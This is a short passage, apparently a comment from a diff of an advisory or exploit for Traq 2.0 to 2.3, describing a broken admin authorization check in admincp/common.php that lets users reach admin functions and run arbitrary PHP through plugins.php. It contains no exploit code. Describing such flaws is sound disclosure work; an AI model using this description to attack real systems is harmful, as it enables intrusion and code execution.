+				Traq 2.0 to 2.3. It's in the admincp/common.php script.
+
+				This function is called in each script located into /admicp/ directory to
+				make sure the user has admin rights, but this is a broken authorization
+				schema due to the header() function doesn't stop the execution flow. This
+				can be exploited by malicious users to execute admin functionality resulting
+				for  e.g.  in execution of arbitrary PHP code leveraging of plugins.php
+				functionality.
